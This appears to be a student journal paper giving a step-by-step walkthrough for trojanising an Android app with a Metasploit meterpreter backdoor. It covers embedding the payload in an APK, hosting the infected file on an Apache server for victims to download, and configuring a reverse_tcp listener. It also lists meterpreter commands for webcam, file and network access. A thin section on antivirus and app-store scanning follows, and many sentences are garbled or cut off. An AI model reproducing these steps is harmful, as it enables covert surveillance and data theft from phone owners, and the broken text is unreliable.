INTERNATIONAL JOURNAL OF ADVANCE RESEARCH, IDEAS AND INNOVATIONS IN TECHNOLOGY

ISSN: 2454-132X
Impact factor: 4.295
(Volume 5, Issue 2)
Available online at: www.ijariit.com

Android mobile hacking using Linux

Arulpradeep S. P.
arulpradeep5@gmail.com
SRM Institute of Science and Technology, Ramapuram, Chennai, Tamil Nadu

Vinothkumar P.
vinothkumar5251@gmail.com
SRM Institute of Science and Technology, Ramapuram, Chennai, Tamil Nadu

Nilavarasan G. S.
moon37961@gmail.com
SRM Institute of Science and Technology, Ramapuram, Chennai, Tamil Nadu

Sai Harshith Kumar S.
sunkusaiharshith@gmail.com
SRM Institute of Science and Technology, Ramapuram, Chennai, Tamil Nadu

Naveen P.
naveenyadav9006@gmail.com
SRM Institute of Science and Technology, Ramapuram, Chennai, Tamil Nadu

ABSTRACT

Backdoors are one of the most complicated types of Android malware. A normal backdoor carries out its functionalities such as installing itself into the system directory, disabling system apps, or gaining access to app's data, to steal and upload sensitive info, download and ask to install applications and set up mobile botnets when setting proper Android permissions. This project focus on how Android devices are hacked using backdoors and how they can be stopped from doing so. The backdoor application when installed and turned on the mobile allows an attacker to read, write and modify the data. Due to Backdoor attacks Confidentiality, Integrity, and Accountability of the information security are lost. When the application is installed on the victim's mobile and the victim opens the application it creates the meter-preter session which permits the attacker to access functions like webcam, contacts, read SMS, send SMS, read call log, write call log, access storage, install applications.

Keywords— *Kali linux, Android, Back-doors, Meter-preter, Metasploits, Apache2 server, Payload, MSF-venom*

1. INTRODUCTION

There are over 6.1 billion smartphone users in the world today so nearly a smartphone per user out of 2.6 billion smartphones there are almost more than 4.2 billion Android smartphones. Android is a Linux kernel based mobile operating system. The Linux kernel provides a multi-user nature and Discretionary Access Control (DAC) enforcement module on top of which all Android layers sits. Android utilizes the kernel-level sandboxing and isolation mechanism to separate apps from one another and to control the communication between apps or resource accesses. This means that the smartphone will become the target of choice for kind of security yield lots of information about the individual carrying it and may prove to be an entry point to the corporate network.

Since Android is the most widely used operating system, so there is also a large number of mobile apps infected by malware like spyware, backdoors, trojan horse, etc. There are more than 8.5 lakhs of apps registered with the presence of backdoors. The backdoor application grants the attacker to with various permission of the device on which it is installed, some of the major permissions are:

android.permission.INTERNET, android.permission.ACCESSWIFI_STAT android.permission.CHANGE_WIFI_STATE, android.permission.ACCESS_NETWORK_STA TE, android.permission.ACCESS_COURSELOCAT

android.permission.ACCESS_FINE_LOCATIO N, android.permission.READ_PHONE_STATE, android.permission.SEND_SMS, android.permission.REVEICE_BOOT_COMPL ETEandroid.permission.SET_WALLPAPER, android.permission.READ_CALL_LOG, android.permission.WRITE_CALL_LOG,

android.permission.RECORD_AUDIO, android.permission.CALL_PHONE, android.permission.WRITE_CONTACT, android.permission.WRITE_SETTING.

The Backdoors act like a Trojan horse, it can bypass the verification app, it triggers itself when the victim opens the app. The data is hackers, as it can virtual network.

2. KEY CONCEPTS KALI LINUX

Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. Kali Linux is preinstalled with over 300 penetration-testing programs, including Armitage, nmap, Wireshark, John the Ripper, Aircrack-ng, Burp suite and OWASP ZAP.

2.1 Metasploit

A tool for developing and executing exploit code against a remote target machine. It chooses an exploit and payload, some information about the target system is needed, such as operating system version and installed network services. This information can be gained with port scanning and OS fingerprinting tools such as Nmap. Vulnerability scanners such as Nexpose and Nessus can detect target system vulnerabilities. Metasploit can import vulnerability scan data and compare the identified vulnerabilities to existing exploit modules for accurate exploitation. Transferred to the attacker through a private attack management tool for the Metasploit Project that visualizes targets and recommends exploits. It is a free and open source network security tool notable for its contributions to red team collaboration allowing for shared sessions, data, and communication through a single Metasploit instance.

2.2 Payload

In computing and telecommunications, the payload is the part of transmitted data that is the actual intended message. The payload excludes any headers or metadata sent solely to facilitate payload delivery. Types of the payload are:

1. android/meterpreter/reverse_tcp.
2. android/meterpreter/reverse_http.
3. android/meterpreter/reverse_https.
4. android/shell/reverse_tcp.
5. android/shell/reverse_tcp.
6. android/shell/reverse_tcp.

3. PROCESS OF CREATING A BACKDOOR

3.1 Affected application and installing it

Requirements: Kali Linux, Metasploit, Armitage, Ruby RVM, Android Device, a Sample application for creating an Infected Application, WLAN network, Apache Server2.

Building code in Ruby:

The code is written in shell script, it simplifies the processes of adding a backdoor to any android apkfile. The code specifies the LHOST ip ARMITAGE: Armitage is a graphical cyber create a listener.

The code also defines the type of Payload the backdoor app should have.

The code does the following activities: [*] Generating RAT APK file...

[+] payload: android/meterpreter/reverse_tcp
[+] Handle the reverse connection at: <LHOST :
LPORT>
[*] Decompiling RAT APK file...
[*] Decompiling original APK file..Merging permissions of original and payload projects…

Running proguard on RAT APK file...
Decompiling obfuscated RAT APK file.. Creating new directories in the original project for RAT smali files...

Copying RAT smali files to new directories in the original project...
Fixing RAT smali files…
Obfuscating const-string values in RAT smali files...
Locating smali file to hook in original project...

Adding hook in the original smali file...
Adding persistence hook in the original project...
Recompiling original project with backdoor...
Generating RSA key for signing...
Signing recompiled APK...
Verifying signed artifacts…
Aligning recompiled APK…

Steps:

- Open kali Linux operating system
- Open a terminal and go to the location where the file is saved.
- Download and application in which youwant to create a backdoor. address and LPORT i.e. the listener port to
- Copy the application in the same folder where the backdoor application making code is present.
- Open terminal and type: **chmoda+x<name of code>.sh**

This command alerts the code for getting reading for execution and it also indicates that two files are going to get added together.

6../<name of code>.sh<name of original sample app>.apk

This command triggers the execution of the code which creates the backdoor affected app

- Next step is to check the location of backdoor embed app and to upload it to the server so other users can easily download it
- **mv <name of backdoor embedded app>.apk/var/www/html**

This command moves the backdoor embed apk to build in server folder of kali Linux from where it can be uploaded to the website

- **service apache2 start**

This command starts the apache server the backdoor embed application can be downloaded from their webpage the address of the web page is the same as the host address.

- To create meterpreter session open new This opens metasploit console so you can give the command to exploit the vulnerability.
- next type: use multi/handler This opens the multi/handler file where the attacker can set up the LHOST, LPORT and type of PAYLOAD to create a listener.

set PAYLOAD <any specific payload e.g. android/meterpreter/reverse_tcp>set LHOST <attackers ip address same asabove>set LPORT <attackers receiving port same asabove>

- show options

This command checks whether correct PAYLOAD, LHOST, LPORT is set or not.

- Exploit

This command starts the exploitation by creating the link between the victim and the attacker.

4. WORKING

When the application is installed on the victim's mobile and the victim opens the application it creates the meterpreter session which permits the attacker to use the following commands to terminal and type:

4.1 Msfconsole

4.1.1 System commands

Execute	Display Interface
Getuid	Get the user server

4.1.2 Webcam commands

Webcame-chat	Start video chat
Webcame-list	List webcams
Webcame-snap	Takes a snapshot
Webcame-stream	Play a video stream

4.1.3 Networking commands

ifconfig	Display interfaces
route	View and modify route table

4.1.4 File system commands

ls	List files in a directory
cd	Change directory
lpwd	Goes to the root directory
Upload/download	Uplinks or downloads the file in the directory

5. DIFFERENCE BETWEEN ORIGINAL APPLICATION AND BACKDOOR AFFECTED APPLICATION

Permission in original app	Permission in affected app
1.Read contacts	1.Read contacts
2.Write contacts	2.Write contacts
3. Read sms	3. Read sms
4. Write sms	4. Write sms
5. Write call logs	5. Write call logs
6. Read call logs	6. Read call logs
7.Read external storage	7. Read external storage

	8. Camera
	9. Call phone
	10. Set wallpaper
	11. Read history bookmark
	12. Send sms
	13. Get task

6. SECURITY AGAINST MALWARE

6.1 Antivirus

Anti-virus tools for smartphones provide features similar to those written for non-mobile computers. Along with offering virus, malware,

6.2 Using authenticate stores

App store is the websites from where Android users can download the app. But the website most of the time provide malware-infected apps which make the device vulnerable for the attackers to attack them. Authenticate app stores various other features such as back-up of the phone's data, remote erasing of the phone's data, and finding the phone if it is lost or misplaced. There are various free antivirus applications available for the Android platform including Lookout Mobile security, AVG Free, and Antivirus free which provide all the basic protection with an Android-enabled device needs. There are also paid versions of these applications which offer enhanced support and additional features for the user.

6.3 Antivirus analysis

As information is becoming pervasive on smartphones, there is a need to understand the mobile operating system and associated security issues. Many anti-virus and malware prevention tools were found in the Android Market, each claiming to fully protect the device. In computer terms antivirus works in two ways: behaviour based detection and signature-based detection. Most of the Anti-Virus applications' signatures are updated only after a significant, vendor detected an event that has led to data exfiltration. Antivirus analysis seems to be necessary as there does not appear to be independent evaluations of the quality or efficacy of anti-virus tools inside your Android smartphone or tablet if it like Google play store. Google play store verify the application using the following ways:

6.3.1 Static Analysis: It analyses application code without running the app. Application features are extracted and analysed against expected good behaviour and potential bad behaviour.

6.3.2 Dynamic Analysis: It runs applications to identify interactive behaviour that cannot be seen with static analysis. This allows reviewers to identify attacks that require connection to a server and dynamic downloading of code.

6.3.3 Developer Relationships: It analyses non-code features to determine possible relationships between applications and to evaluate whether the developer that created the application may have previously installed it in the victim's mobile and gain access. This practical was used in order to make people aware of the backdoor attacks. In Order to create security awareness among the peoples

7. CONCLUSION

This makes the reader gain necessary information about what backdoors are? How they are created? How they can exploit the victim? This also provides the information about how to secure the application against the has Google Play and runs Android 4.2 or later, Verify Apps is hard at work providing you with security services. This scanning software is searching for Potentially Harmful Applications, also known as PHAs. Google suggests that a PHA is "any application that can potentially harm the user, their device, or their data.

Fourteen different categories used for classifications of PHAs were in use by Google as of 11/1/2014.

- Generic PHA
- Phishing
- Rooting Malicious
- Ransomware
- Rooting
- SMS Fraud
- Backdoor
- Spyware
- Trojan
- Harmful Site

8. REFERENCES

[1] https://www.udemy.com/
[2] https://www.hackthissite.com/
[3] https://www.androrat.com/
[4] https://www.csploit.com/
[5] https://www.sshdroid.com/
[6] https://www.kalilinuxnethunter.com/

